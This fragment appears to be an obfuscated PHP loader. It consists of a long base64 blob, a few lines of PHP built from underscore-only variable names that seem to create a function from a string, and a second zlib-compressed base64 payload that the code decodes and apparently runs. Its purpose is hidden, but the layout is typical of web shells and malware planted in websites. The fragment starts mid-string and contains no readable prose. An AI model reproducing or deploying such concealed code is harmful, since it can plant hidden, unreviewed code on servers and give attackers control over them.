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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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